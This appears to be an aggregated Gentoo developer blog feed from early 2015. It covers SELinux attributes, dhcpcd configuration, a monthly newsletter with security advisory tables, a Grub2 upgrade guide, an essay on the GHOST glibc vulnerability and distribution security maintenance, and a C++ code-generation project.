(typeattributeset cil_gen_require admindomain)
(typeattributeset admindomain (sysadm_t ))
(typeattributeset cil_gen_require userdomain)
(typeattributeset userdomain (sysadm_t ))
...

However, when checking which domains use the admindomain attribute, notice the following:

~# seinfo -aadmindomain -x
ERROR: Provided attribute (admindomain) is not a valid attribute name.

But don’t panic – this has a reason: as long as there is no SELinux rule applied towards the admindomain attribute, then the SELinux policy compiler will drop the attribute from the final policy. This can be confirmed by adding a single, cosmetic rule, like so:

## allow admindomain admindomain:process sigchld;

~# seinfo -aadmindomain -x
   admindomain
      sysadm_t

So there you go. That does mean that if something previously used the attribute assignation for any decisions (like “for each domain assigned the userdomain attribute, do something”) will need to make sure that the attribute is really used in a policy rule.

February 14, 2015
Sebastian Pipping a.k.a. sping (homepage, bugs)
Back on-line, finally (February 14, 2015, 23:41 UTC)

The core web services of mine are finally back on-line:

My apologies that it took so long!

I took the occasion of the migration to redirect all traffic on (blog|www).hartwork.org to SSL so that people downloading some of my past Windows binaries (like Winamp plug-in installers) are no longer vulnerable to games like BDFproxy man-in-the-middle.

If you run into anything (still) broken or off-line, please drop me a mail.

Best, Sebastian

February 08, 2015
Sven Vermeulen a.k.a. swift (homepage, bugs)
Have dhcpcd wait before backgrounding (February 08, 2015, 14:50 UTC)

Many of my systems use DHCP for obtaining IP addresses. Even though they all receive a static IP address, it allows me to have them moved over (migrations), use TFTP boot, cloning (in case of quick testing), etc. But one of the things that was making my efforts somewhat more difficult was that the dhcpcd service continued (the dhcpcd daemon immediately went in the background) even though no IP address was received yet. Subsequent service scripts that required a working network connection failed to start then.

The solution is to configure dhcpcd to wait for an IP address. This is done through the -w option, or the waitip instruction in the dhcpcd.conf file. With that in place, the service script now waits until an IP address is assigned.

February 05, 2015

There has recently been a discussion among developers about the default choice of ffmpeg/libav in Gentoo. Until recently, libav was the default implicitly by being the first dependency of virtual/ffmpeg. Now the choice has been made explicit to libav in the portage profiles, and a news item regarding this was published.

In order to get a data point which might be useful for the discussion, I have created a poll in the forum, where Gentoo users can state their preference about the default:

https://forums.gentoo.org/viewtopic-t-1010096.html

You are welcome to vote in the poll, and if you wish also state your reasons in a comment. However, as the topic of ffmpeg/libav split has been discussed extensively already, I ask you to not restart that discussion in the forum thread.

February 03, 2015
Gentoo Monthly Newsletter: January 2015 (February 03, 2015, 22:00 UTC)

Gentoo News

Council News

One topic addressed in the January council meeting was what happens if a developer wants to join a project and contribute and sends e-mail to the  project or its lead, but noone picks up the phone or answers e-mails there… General agreement was that after applying for project membership and some waiting time without any response one should just “be bold”, add oneself to  the project and start contributing in a responsible fashion.

A second item was the policy for long-term masked packages. Since a mask message is much more visible than, say, a post-installation warning, the  decision was that packages with security vulnerabilities may remain in tree  package-masked, assuming there are no replacements for them and they have active maintainers. Naturally the mask message must clearly spell out the problems with the package.

Unofficial Gentoo Portage Git Mirror

Thanks to Sven Wegener and Michał Górny, we now have an unofficial Gentoo Portage git mirror. Below is the announcement as posted in the mailing lists

Hello, everyone.

I have the pleasure to announce that the official rsync2git mirroris up and running [1] thanks to
Sven Wegener. It is updated from rsync every 30 minutes, and can be used both to sync your local
Gentoo installs and to submit improvements via pull requests (see README [2] for some details).

At the same time, I have established the 'Git Mirror' [3] project which welcomes developers
willing to help reviewing the pull requests and helping those improvements reach
package maintainers.

For users, this means that we now have a fairly efficient syncing
method and a pull request-based workflow for submitting fixes.
The auto-synced repository can also make proxy-maint workflow easier.

For developers, this either means:

a. if you want to help us, join the team, watch the pull requests.
CC maintainers when appropriate, review, even work towards merging
the changes with approval of the maintainers,

b. if you want to support git users, just wait till we CC you and then review, help, merge :),

c. if you don't want to support git users, just ignore the repo. We'll bother you
directly after the changes are reviewed and ready :).

[1]:https://github.com/gentoo/gentoo-portage-rsync-mirror
[2]:https://github.com/gentoo/gentoo-portage-rsync-mirror#README
[3]:https://wiki.gentoo.org/wiki/Project:Git_mirror

Gentoo Developer Moves

Summary

Gentoo is made up of 246 active developers, of which 36 are currently away.
Gentoo has recruited a total of 807 developers since its inception.

Changes

  • Manuel Rüger joined the python and QA teams
  • Mikle Kolyada joined the PPC team
  • Sergey Popov joined the s390 team and left the Qt team
  • Michał Górny joined the git mirror and overlays teams
  • Mark Wright joined the mathematics and haskell teams
  • Samuel Damashek left the gentoo-keys team
  • Matt Thode left the gentoo-keys team

Additions

Portage

This section summarizes the current state of the Gentoo ebuild tree.

Architectures 45
Categories 164
Packages 17977
Ebuilds 37150
Architecture Stable Testing Total % of Packages
alpha 3538 676 4214 23.44%
amd64 10889 6598 17487 97.27%
amd64-fbsd 2 1586 1588 8.83%
arm 2681 1869 4550 25.31%
arm64 536 88 624 3.47%
hppa 3107 499 3606 20.06%
ia64 3099 694 3793 21.10%
m68k 600 125 725 4.03%
mips 1 2428 2429 13.51%
ppc 6740 2543 9283 51.64%
ppc64 4308 1064 5372 29.88%
s390 1391 424 1815 10.10%
sh 1504 558 2062 11.47%
sparc 4037 982 5019 27.92%
sparc-fbsd 0 315 315 1.75%
x86 11511 5589 17100 95.12%
x86-fbsd 0 3202 3202 17.81%

gmn-portage-stats-2015-01

Security

No GLSAs have been released on January 2015. However, since there was no GMN December 2014, we include the ones for the previous month as well.

The following GLSAs have been released by the Security Team

GLSA Package Description Bug
201412-53 app-crypt/mit-krb5 MIT Kerberos 5: User-assisted execution of arbitrary code 516334
201412-52 net-analyzer/wireshark Wireshark: Multiple vulnerabilities 522968
201412-51 net-misc/asterisk Asterisk: Multiple vulnerabilities 530056
201412-50 net-mail/getmail getmail: Information disclosure 524684
201412-49 app-shells/fish fish: Multiple vulnerabilities 509044
201412-48 sys-apps/file file: Denial of Service 532686
201412-47 sys-cluster/torque TORQUE Resource Manager: Multiple vulnerabilities 372959
201412-46 media-libs/lcms LittleCMS: Denial of Service 479874
201412-45 dev-ruby/facter Facter: Privilege escalation 514476
201412-44 sys-apps/policycoreutils policycoreutils: Privilege escalation 509896
201412-43 app-text/mupdf MuPDF: User-assisted execution of arbitrary code 358029
201412-42 app-emulation/xen Xen: Denial of Service 523524
201412-41 net-misc/openvpn OpenVPN: Denial of Service 531308
201412-40 media-libs/flac FLAC: User-assisted execution of arbitrary code 530288
201412-39 dev-libs/openssl OpenSSL: Multiple vulnerabilities 494816
201412-38 net-misc/icecast Icecast: Multiple Vulnerabilities 529956
201412-37 app-emulation/qemu QEMU: Multiple Vulnerabilities 528922
201412-36 app-emulation/libvirt libvirt: Denial of Service 532204
201412-35 app-admin/rsyslog RSYSLOG: Denial of Service 395709
201412-34 net-misc/ntp NTP: Multiple vulnerabilities 533076
201412-33 net-dns/pdns-recursor PowerDNS Recursor: Multiple vulnerabilities 299942
201412-32 mail-mta/sendmail sendmail: Information disclosure 511760
201412-31 net-irc/znc ZNC: Denial of Service 471738
201412-30 www-servers/varnish Varnish: Multiple vulnerabilities 458888
201412-29 www-servers/tomcat Apache Tomcat: Multiple vulnerabilities 442014
201412-28 dev-ruby/rails Ruby on Rails: Multiple vulnerabilities 354249
201412-27 dev-lang/ruby Ruby: Denial of Service 355439
201412-26 net-misc/strongswan strongSwan: Multiple Vulnerabilities 507722
201412-25 dev-qt/qtgui QtGui: Denial of Service 508984
201412-24 media-libs/openjpeg OpenJPEG: Multiple vulnerabilities 484802
201412-23 net-analyzer/nagios-core Nagios: Multiple vulnerabilities 447802
201412-22 dev-python/django Django: Multiple vulnerabilities 521324
201412-21 www-apache/mod_wsgi mod_wsgi: Privilege escalation 510938
201412-20 gnustep-base/gnustep-base GNUstep Base library: Denial of Service 508370
201412-19 net-dialup/ppp PPP: Information disclosure 519650
201412-18 net-misc/freerdp FreeRDP: User-assisted execution of arbitrary code 511688
201412-17 app-text/ghostscript-gpl GPL Ghostscript: Multiple vulnerabilities 264594
201412-16 dev-db/couchdb CouchDB: Denial of Service 506354
201412-15 app-admin/mcollective MCollective: Privilege escalation 513292
201412-14 media-gfx/xfig Xfig: User-assisted execution of arbitrary code 297379
201412-13 www-client/chromium Chromium: Multiple vulnerabilities 524764
201412-12 sys-apps/dbus D-Bus: Multiple Vulnerabilities 512940
201412-11 app-emulation/emul-linux-x86-baselibs AMD64 x86 emulation base libraries: Multiple vulnerabilities 196865
201412-10 www-apps/egroupware (and 6 more) Multiple packages, Multiple vulnerabilities fixed in 2012 284536
201412-09 games-sports/racer-bin (and 24 more) Multiple packages, Multiple vulnerabilities fixed in 2011 194151
201412-08 dev-util/insight (and 26 more) Multiple packages, Multiple vulnerabilities fixed in 2010 159556
201412-07 www-plugins/adobe-flash Adobe Flash Player: Multiple vulnerabilities 530692
201412-06 dev-libs/libxml2 libxml2: Denial of Service 525656
201412-05 app-antivirus/clamav Clam AntiVirus: Denial of service 529728
201412-04 app-emulation/libvirt libvirt: Multiple vulnerabilities 483048
201412-03 net-mail/dovecot Dovecot: Denial of Service 509954
201412-02 net-fs/nfs-utils nfs-utils: Information disclosure 464636
201412-01 app-emulation/qemu QEMU: Multiple Vulnerabilities 514680

Package Removals/Additions

Removals

Package Developer Date
app-admin/rudy mrueg 01 Jan 2015
dev-ruby/attic mrueg 01 Jan 2015
dev-ruby/caesars mrueg 01 Jan 2015
dev-ruby/hexoid mrueg 01 Jan 2015
dev-ruby/gibbler mrueg 01 Jan 2015
dev-ruby/rye mrueg 01 Jan 2015
dev-ruby/storable mrueg 01 Jan 2015
dev-ruby/tryouts mrueg 01 Jan 2015
dev-ruby/sysinfo mrueg 01 Jan 2015
dev-perl/MooseX-AttributeHelpers zlogene 01 Jan 2015
dev-db/pgasync titanofold 07 Jan 2015
app-misc/cdcollect pacho 07 Jan 2015
net-im/linpopup pacho 07 Jan 2015
media-gfx/f-spot pacho 07 Jan 2015
media-gfx/truevision pacho 07 Jan 2015
dev-ruby/tmail mrueg 21 Jan 2015
dev-ruby/refe mrueg 21 Jan 2015
dev-ruby/mysql-ruby mrueg 21 Jan 2015
dev-ruby/gem_plugin mrueg 21 Jan 2015
dev-ruby/directory_watcher mrueg 21 Jan 2015
dev-ruby/awesome_nested_set mrueg 21 Jan 2015
app-emacs/cedet ulm 28 Jan 2015
app-vim/svncommand radhermit 30 Jan 2015
app-vim/cvscommand radhermit 30 Jan 2015

Additions

Package Developer Date
dev-ruby/rails-html-sanitizer graaff 01 Jan 2015
dev-ruby/rails-dom-testing graaff 01 Jan 2015
dev-ruby/rails-deprecated_sanitizer graaff 01 Jan 2015
dev-ruby/activejob graaff 01 Jan 2015
app-crypt/gkeys-gen dolsen 01 Jan 2015
dev-haskell/bencode gienah 03 Jan 2015
dev-haskell/torrent gienah 03 Jan 2015
dev-python/PyPDF2 idella4 03 Jan 2015
dev-python/tzlocal floppym 03 Jan 2015
dev-python/APScheduler floppym 03 Jan 2015
app-emacs/dts-mode ulm 03 Jan 2015
dev-python/configargparse radhermit 04 Jan 2015
dev-haskell/setlocale slyfox 04 Jan 2015
dev-haskell/hgettext slyfox 04 Jan 2015
dev-python/parsley mrueg 05 Jan 2015
dev-python/vcversioner mrueg 06 Jan 2015
dev-python/txsocksx mrueg 06 Jan 2015
media-plugins/vdr-rpihddevice hd_brummy 06 Jan 2015
net-misc/chrome-remote-desktop vapier 06 Jan 2015
app-admin/systemrescuecd-x86 mgorny 06 Jan 2015
dev-python/pgasync titanofold 07 Jan 2015
net-proxy/shadowsocks-libev dlan 08 Jan 2015
net-misc/i2pd blueness 08 Jan 2015
games-misc/exult-sound mr_bones_ 09 Jan 2015
kde-frameworks/kpackage mrueg 09 Jan 2015
kde-frameworks/networkmanager-qt mrueg 09 Jan 2015
games-puzzle/ksokoban bircoph 10 Jan 2015
dev-cpp/lucene++ johu 10 Jan 2015
app-emacs/multi-term ulm 10 Jan 2015
dev-java/xml-security ercpe 11 Jan 2015
dev-libs/libtreadstone patrick 13 Jan 2015
dev-libs/utfcpp yac 13 Jan 2015
net-print/epson-inkjet-printer-escpr floppym 15 Jan 2015
dev-cpp/websocketpp johu 16 Jan 2015
sys-apps/systemd-readahead pacho 17 Jan 2015
dev-util/radare2 slyfox 18 Jan 2015
dev-python/wcsaxes xarthisius 18 Jan 2015
net-analyzer/apinger jer 19 Jan 2015
dev-lang/go-bootstrap williamh 20 Jan 2015
media-plugins/vdr-satip hd_brummy 20 Jan 2015
dev-perl/Data-Types chainsaw 20 Jan 2015
dev-perl/DateTime-Tiny chainsaw 20 Jan 2015
dev-perl/MongoDB chainsaw 20 Jan 2015
dev-python/paramunittest alunduil 21 Jan 2015
dev-python/mando alunduil 21 Jan 2015
dev-python/radon alunduil 21 Jan 2015
sci-geosciences/opencpn-plugin-br24radar mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-climatology mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-launcher mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-logbookkonni mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-objsearch mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-ocpndebugger mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-statusbar mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-weatherfax mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-weather_routing mschiff 21 Jan 2015
sci-geosciences/opencpn-plugin-wmm mschiff 21 Jan 2015
dev-python/elasticsearch-py vapier 22 Jan 2015
dev-php/ming-php grknight 22 Jan 2015
app-portage/cpuinfo2cpuflags mgorny 23 Jan 2015
dev-ruby/spy mrueg 24 Jan 2015
dev-ruby/power_assert graaff 25 Jan 2015
dev-ruby/vcr graaff 25 Jan 2015
dev-util/trace-cmd chutzpah 27 Jan 2015
net-libs/iojs patrick 27 Jan 2015
dev-python/bleach radhermit 27 Jan 2015
dev-python/readme radhermit 27 Jan 2015
www-client/vivaldi jer 27 Jan 2015
media-libs/libpagemaker jlec 27 Jan 2015
dev-python/jenkinsapi idella4 28 Jan 2015
dev-python/httmock idella4 28 Jan 2015
dev-python/jenkins-webapi idella4 29 Jan 2015
sec-policy/selinux-git perfinion 29 Jan 2015
x11-drivers/xf86-video-opentegra chithanh 29 Jan 2015
dev-java/cssparser monsieurp 30 Jan 2015
app-emulation/docker-compose alunduil 31 Jan 2015
dev-python/oslo-context prometheanfire 31 Jan 2015
dev-python/oslo-middleware prometheanfire 31 Jan 2015
dev-haskell/tasty-kat qnikst 31 Jan 2015
dev-perl/Monitoring-Plugin mjo 31 Jan 2015

Bugzilla

The Gentoo community uses Bugzilla to record and track bugs, notifications, suggestions and other interactions with the development team.

Activity

The following tables and charts summarize the activity on Bugzilla between 01 January 2015 and 31 January 2015. Not fixed means bugs that were resolved as NEEDINFO, WONTFIX, CANTFIX, INVALID or UPSTREAM.
gmn-activity-2015-01

Bug Activity Number
New 2113
Closed 1058
Not fixed 182
Duplicates 150
Total 6525
Blocker 3
Critical 16
Major 62

Closed bug ranking

The following table outlines the teams and developers with the most bugs resolved during this period

Rank Team/Developer Bug Count
1 Gentoo Perl team 66
2 Gentoo Linux Gnome Desktop Team 66
3 Python Gentoo Team 44
4 Gentoo Games 42
5 Gentoo KDE team 34
6 Default Assignee for Orphaned Packages 27
7 Gentoo's Haskell Language team 26
8 Gentoo Security 22
9 Gentoo Ruby Team 22
10 Others 708

gmn-closed-2015-01

Assigned bug ranking

The developers and teams who have been assigned the most bugs during this period are as follows.

Rank Team/Developer Bug Count
1 Gentoo Security 106
2 Gentoo Linux bug wranglers 103
3 Gentoo Perl team 72
4 Gentoo Games 72
5 Python Gentoo Team 66
6 Gentoo Linux Gnome Desktop Team 66
7 Gentoo's Haskell Language team 65
8 Default Assignee for Orphaned Packages 54
9 Java team 53
10 Others 1455

gmn-opened-2015-01

Getting Involved?

Interested in helping out? The GMN relies on volunteers and members of the community for content every month. If you are interested in writing for the GMN or thinking of another way to contribute, please send an e-mail to gmn@gentoo.org.

Comments or Suggestions?

Please head over to this forum post.

February 02, 2015
Patrick Lauer a.k.a. bonsaikitten (homepage, bugs)
Mozilla: Hating you so you don't have to (February 02, 2015, 02:33 UTC)

Ahem. I'm mildly amused, Firefox 35 shows me this nice little informational message in the "Get addons" view:

Secure Connection Failed

An error occurred during a connection to services.addons.mozilla.org. 
Peer's Certificate has been revoked. (Error code: sec_error_revoked_certificate) 
Oh well. Why I was looking at that anyway? Well, for some reasons I've had adb (android thingy) running on my desktop. Which makes little sense ... but ... find tells me:
./.mozilla/firefox/badrandomvalue.default/extensions/adbhelper@mozilla.org/linux64/adb
So now there's a random service running *when I start firefox* because ...


err, I might want to " test, deploy and debug HTML5 web apps on Firefox OS phones & Simulator, directly from Firefox browser. "
Which I don't. But I appreciate having extra crap default-enabled for no reason. Sigh.

Mozilla: We hate you so you don't have to

January 31, 2015
Andreas K. Hüttel a.k.a. dilfridge (homepage, bugs)
Choice included (January 31, 2015, 17:35 UTC)

Some time ago, Matteo Pescarin created the great "Gentoo Abducted" design. Here are, after some minor doodling for the fun of it, several A0 posters based on that design, pointing out the excellent features of Gentoo. Released under CC BY-SA 2.5 as the original. Enjoy!



PDF SVG


PDF SVG


PDF SVG


PDF SVG


PDF SVG

Sebastian Pipping a.k.a. sping (homepage, bugs)
Switching to Grub2 on Gentoo (January 31, 2015, 17:26 UTC)

Hi!

There seem to be quite a number of people being “afraid” of Grub2, because of the “no single file” approach. From more people, I hear about sticking to Grub legacy or moving to syslinux, rather than upgrading to Grub2.

I used to be one of those not too long ago: I’ve been sticking to Grub legacy for quite a while, mainly because I never felt like breaking a booting system at that very moment. I have finally upgraded my Gentoo dev machine to Grub2 now and I’m rather happy with the results:

  • No manual editing of Grug2 config files for kernel upgrades any more
  • The Grub2 rescue shell, if I should break things
  • Fancy theming if I feel like that next week
  • I am off more or less unmaintained software

My steps to upgrade were:

1. Install sys-boot/grub:2.

2. Inspect the output of “sudo grub2-mkconfig” (which goes to stdout) to get a feeling for it.

3. Tune /etc/default/grub a bit:

GRUB_DEFAULT=0
GRUB_TIMEOUT=5

# This is genkernel
GRUB_CMDLINE_LINUX="dolvm dokeymap keymap=de
    crypt_root=UUID=00000000-0000-0000-0000-000000000000
    real_root=/dev/gentoo/root noslowusb"

# A bit retro, works with and without external display
GRUB_GFXMODE=640x480

GRUB_BACKGROUND="/boot/grub/gentoo-cow-gdm-remake-640x480.png"

NOTE: I broke the GRUB_CMDLINE_LINUX line for readability, only.

4. Insert a “shutdown” menu entry at /etc/grub.d/40_custom:

#!/bin/sh
exec tail -n +3 $0
# This file provides an easy way to add custom menu entries.  Simply type the
# menu entries you want to add after this comment.  Be careful not to change
# the 'exec tail' line above.

menuentry "Shutdown" {
        halt
}

5. Run “sudo grub2-mkconfig -o /boot/grub/grub.cfg“.

6. Run “sudo grub2-install /dev/disk/by-id/ata-HITACHI_000000000000000_00000000000000000000“.

Using /dev/disk/ greatly reduces the risk of installing to the wrong disk.
Check “find /dev/disk | xargs ls -ld“.

7. Reboot

Done.

For kernel updates, my new process is

emerge -auv sys-kernel/vanilla-sources

pushd /usr/src
cp linux-3.18.3/.config linux-3.18.4/

# yes, sys-kernel/vanilla-sources[symlink] would do that for me
rm linux
ln -s linux-3.18.4 linux

pushd linux
yes '' | make oldconfig

make -j4 && make modules_install install \
		&& emerge tp_smapi \
		&& genkernel initramfs \
		&& grub2-mkconfig -o /boot/grub/grub.cfg

popd
popd

Best, Sebastian

January 29, 2015
Hanno Böck a.k.a. hanno (homepage, bugs)

GHOSTOn Tuesday details about the security vulnerability GHOST in Glibc were published by the company Qualys. When severe security vulnerabilities hit the news I always like to take this as a chance to learn what can be improved and how to avoid similar incidents in the future (see e. g. my posts on Heartbleed/Shellshock, POODLE/BERserk and NTP lately).

GHOST itself is a Heap Overflow in the name resolution function of the Glibc. The Glibc is the standard C library on Linux systems, almost every software that runs on a Linux system uses it. It is somewhat unclear right now how serious GHOST really is. A lot of software uses the affected function gethostbyname(), but a lot of conditions have to be met to make this vulnerability exploitable. Right now the most relevant attack is against the mail server exim where Qualys has developed a working exploit which they plan to release soon. There have been speculations whether GHOST might be exploitable through Wordpress, which would make it much more serious.

Technically GHOST is a heap overflow, which is a very common bug in C programming. C is inherently prone to these kinds of memory corruption errors and there are essentially two things here to move forwards: Improve the use of exploit mitigation techniques like ASLR and create new ones (levee is an interesting project, watch this 31C3 talk). And if possible move away from C altogether and develop core components in memory safe languages (I have high hopes for the Mozilla Servo project, watch this linux.conf.au talk).

GHOST was discovered three times

But the thing I want to elaborate here is something different about GHOST: It turns out that it has been discovered independently three times. It was already fixed in 2013 in the Glibc Code itself. The commit message didn't indicate that it was a security vulnerability. Then in early 2014 developers at Google found it again using Address Sanitizer (which – by the way – tells you that all software developers should use Address Sanitizer more often to test their software). Google fixed it in Chrome OS and explicitly called it an overflow and a vulnerability. And then recently Qualys found it again and made it public.

Now you may wonder why a vulnerability fixed in 2013 made headlines in 2015. The reason is that it widely wasn't fixed because it wasn't publicly known that it was serious. I don't think there was any malicious intent. The original Glibc fix was probably done without anyone noticing that it is serious and the Google devs may have thought that the fix is already public, so they don't need to make any noise about it. But we can clearly see that something doesn't work here. Which brings us to a discussion how the Linux and free software world in general and vulnerability management in particular work.

The “Never touch a running system” principle

Quite early when I came in contact with computers I heard the phrase “Never touch a running system”. This may have been a reasonable approach to IT systems back then when computers usually weren't connected to any networks and when remote exploits weren't a thing, but it certainly isn't a good idea today in a world where almost every computer is part of the Internet. Because once new security vulnerabilities become public you should change your system and fix them. However that doesn't change the fact that many people still operate like that.

A number of Linux distributions provide “stable” or “Long Time Support” versions. Basically the idea is this: At some point they take the current state of their systems and further updates will only contain important fixes and security updates. They guarantee to fix security vulnerabilities for a certain time frame. This is kind of a compromise between the “Never touch a running system” approach and reasonable security. It tries to give you a system that will basically stay the same, but you get fixes for security issues. Popular examples for this approach are the stable branch of Debian, Ubuntu LTS versions and the Enterprise versions of Red Hat and SUSE.

To give you an idea about time frames, Debian currently supports the stable trees Squeeze (6.0) which was released 2011 and Wheezy (7.0) which was released 2013. Red Hat Enterprise Linux has currently 4 supported version (4, 5, 6, 7), the oldest one was originally released in 2005. So we're talking about pretty long time frames that these systems get supported. Ubuntu and Suse have similar long time supported Systems.

These systems are delivered with an implicit promise: We will take care of security and if you update regularly you'll have a system that doesn't change much, but that will be secure against know threats. Now the interesting question is: How well do these systems deliver on that promise and how hard is that?

Vulnerability management is chaotic and fragile

I'm not sure how many people are aware how vulnerability management works in the free software world. It is a pretty fragile and chaotic process. There is no standard way things work. The information is scattered around many different places. Different people look for vulnerabilities for different reasons. Some are developers of the respective projects themselves, some are companies like Google that make use of free software projects, some are just curious people interested in IT security or researchers. They report a bug through the channels of the respective project. That may be a mailing list, a bug tracker or just a direct mail to the developer. Hopefully the developers fix the issue. It does happen that the person finding the vulnerability first has to explain to the developer why it actually is a vulnerability. Sometimes the fix will happen in a public code repository, sometimes not. Sometimes the developer will mention that it is a vulnerability in the commit message or the release notes of the new version, sometimes not. There are notorious projects that refuse to handle security vulnerabilities in a transparent way. Sometimes whoever found the vulnerability will post more information on his/her blog or on a mailing list like full disclosure or oss-security. Sometimes not. Sometimes vulnerabilities get a CVE id assigned, sometimes not.

Add to that the fact that in many cases it's far from clear what is a security vulnerability. It is absolutely common that if you ask the people involved whether this is serious the best and most honest answer they can give is “we don't know”. And very often bugs get fixed without anyone noticing that it even could be a security vulnerability.

Then there are projects where the number of security vulnerabilities found and fixed is really huge. The latest Chrome 40 release had 62 security fixes, version 39 had 42. Chrome releases a new version every two months. Browser vulnerabilities are found and fixed on a daily basis. Not that extreme but still high is the vulnerability count in PHP, which is especially worrying if you know that many webhosting providers run PHP versions not supported any more.

So you probably see my point: There is a very chaotic stream of information in various different places about bugs and vulnerabilities in free software projects. The number of vulnerabilities is huge. Making a promise that you will scan all this information for security vulnerabilities and backport the patches to your operating system is a big promise. And I doubt anyone can fulfill that.

GHOST is a single example, so you might ask how often these things happen. At some point right after GHOST became public this excerpt from the Debian Glibc changelog caught my attention (excuse the bad quality, had to take the image from Twitter because I was unable to find that changelog on Debian's webpages):

eglibc Changelog

What you can see here: While Debian fixed GHOST (which is CVE-2015-0235) they also fixed CVE-2012-6656 – a security issue from 2012. Admittedly this is a minor issue, but it's a vulnerability nevertheless. A quick look at the Debian changelog of Chromium both in squeeze and wheezy will tell you that they aren't fixing all the recent security issues in it. (Debian already had discussions about removing Chromium and in Wheezy they don't stick to a single version.)

It would be an interesting (and time consuming) project to take a package like PHP and check for all the security vulnerabilities whether they are fixed in the latest packages in Debian Squeeze/Wheezy, all Red Hat Enterprise versions and other long term support systems. PHP is probably more interesting than browsers, because the high profile targets for these vulnerabilities are servers. What worries me: I'm pretty sure some people already do that. They just won't tell you and me, instead they'll write their exploits and sell them to repressive governments or botnet operators.

Then there are also stories like this: Tavis Ormandy reported a security issue in Glibc in 2012 and the people from Google's Project Zero went to great lengths to show that it is actually exploitable. Reading the Glibc bug report you can learn that this was already reported in 2005(!), just nobody noticed back then that it was a security issue and it was minor enough that nobody cared to fix it.

There are also bugs that require changes so big that backporting them is essentially impossible. In the TLS world a lot of protocol bugs have been highlighted in recent years. Take Lucky Thirteen for example. It is a timing sidechannel in the way the TLS protocol combines the CBC encryption, padding and authentication. I like to mention this bug because I like to quote it as the TLS bug that was already mentioned in the specification (RFC 5246, page 23: "This leaves a small timing channel"). The real fix for Lucky Thirteen is not to use the erratic CBC mode any more and switch to authenticated encryption modes which are part of TLS 1.2. (There's another possible fix which is using Encrypt-then-MAC, but it is hardly deployed.) Up until recently most encryption libraries didn't support TLS 1.2. Debian Squeeze and Red Hat Enterprise 5 ship OpenSSL versions that only support TLS 1.0. There is no trivial patch that could be backported, because this is a huge change. What they likely backported are workarounds that avoid the timing channel. This will stop the attack, but it is not a very good fix, because it keeps the problematic old protocol and will force others to stay compatible with it.

LTS and stable distributions are there for a reason

The big question is of course what to do about it. OpenBSD developer Ted Unangst wrote a blog post yesterday titled Long term support considered harmful, I suggest you read it. He argues that we should get rid of long term support completely and urge users to upgrade more often. OpenBSD has a 6 month release cycle and supports two releases, so one version gets supported for one year.

Given what I wrote before you may think that I agree with him, but I don't. While I personally always avoided to use too old systems – I 'm usually using Gentoo which doesn't have any snapshot releases at all and does rolling releases – I can see the value in long term support releases. There are a lot of systems out there – connected to the Internet – that are never updated. Taking away the option to install systems and let them run with relatively little maintenance overhead over several years will probably result in more systems never receiving any security updates. With all its imperfectness running a Debian Squeeze with the latest updates is certainly better than running an operating system from 2011 that stopped getting security fixes in 2012.

Improving the information flow

I don't think there is a silver bullet solution, but I think there are things we can do to improve the situation. What could be done is to coordinate and share the work. Debian, Red Hat and other distributions with stable/LTS versions could agree that their next versions are based on a specific Glibc version and they collaboratively work on providing patch sets to fix all the vulnerabilities in it. This already somehow happens with upstream projects providing long term support versions, the Linux kernel does that for example. Doing that at scale would require vast organizational changes in the Linux distributions. They would have to agree on a roughly common timescale to start their stable versions.

What I'd consider the most crucial thing is to improve and streamline the information flow about vulnerabilities. When Google fixes a vulnerability in Chrome OS they should make sure this information is shared with other Linux distributions and the public. And they should know where and how they should share this information.

One mechanism that tries to organize the vulnerability process is the system of CVE ids. The idea is actually simple: Publicly known vulnerabilities get a fixed id and they are in a public database. GHOST is CVE-2015-0235 (the scheme will soon change because four digits aren't enough for all the vulnerabilities we find every year). I got my first CVEs assigned in 2007, so I have some experiences with the CVE system and they are rather mixed. Sometimes I briefly mention rather minor issues in a mailing list thread and a CVE gets assigned right away. Sometimes I explicitly ask for CVE assignments and never get an answer.

I would like to see that we just assign CVEs for everything that even remotely looks like a security vulnerability. However right now I think the process is to unreliable to deliver that. There are other public vulnerability databases like OSVDB, I have limited experience with them, so I can't judge if they'd be better suited. Unfortunately sometimes people hesitate to request CVE ids because others abuse the CVE system to count assigned CVEs and use this as a metric how secure a product is. Such bad statistics are outright dangerous, because it gives people an incentive to downplay vulnerabilities or withhold information about them.

This post was partly inspired by some discussions on oss-security

Michal Hrusecky a.k.a. miska (homepage, bugs)
Introducing ZXDB (January 29, 2015, 07:23 UTC)

Lately I have been playing a lot with some cool technologies. I had a lot of fun, so I want to share some of it and at least point you to the interesting pieces of technology to check out. And it also inspired me to my new project which I would like to introduce with this blog post.

ZeroMQ & friends

Lets start with ZeroMQ. It is lightweight messaging library with really nice API. And the tools around it? CZMQ brings even nicer API and there is also zproto which let’s you generate protocol handling code and even state machines easily. You just describe it and zproto will generate all the code for you. I know that you might think that code generation is evil. And quite some time it is. But this one is not :-) Generated code is nice, readable and it really helps with productivity. You don’t have to write copy&paste code and drown yourself in writing stuff that was written thousand times before already. You can concentrate on the logic of your application – the only important part – and disregard all those irrelevant boring processing functions. So ZeroMQ in combination with zproto is one of the interesting stuff I’ve been playing with lately. And I would recommend you to do so as well :-)

TNT

Other interesting opensource project I’ve been playing with is TNTNET, TNTDB and CXXTools. It’s actually three different libraries, but they are under one umbrella. They also have a really nice API, this time C++ compared to C one in ZeroMQ.

TNTNET is a way how to write web applications in C++. And as most of the we b applications need database, TNTDB is database abstraction layer that let’s you write applications that can easily be deployed against SQLite or MySQL or even PostgreSQL without any modifications to the code. And CXXTools is just a collection of handy utilities that doesn’t fit in neither, but can be used and are used by both.

ZXDB

Now let’s introduce my new project – ZXDB. It combines both. As I was writing some web application (in C++), I found it quite boring dealing with database and doing all those selects, keeping data somewhere, doing updates and stuff. As it is boring and copy&paste and boring, I thought about the abstracting it a little bit and I wrote initial gsl (templating system zproto uses) template, that will generate all the boring code for me.

Now I’m able to easily add or remove properties, I don’t have to deal with database directly as I have a nice class based abstraction on top if and this generated abstraction is using TNTDB to be database independent. I was quite excited when I started playing with this. So much that now I’m even generating unit tests for those generated classes :-)

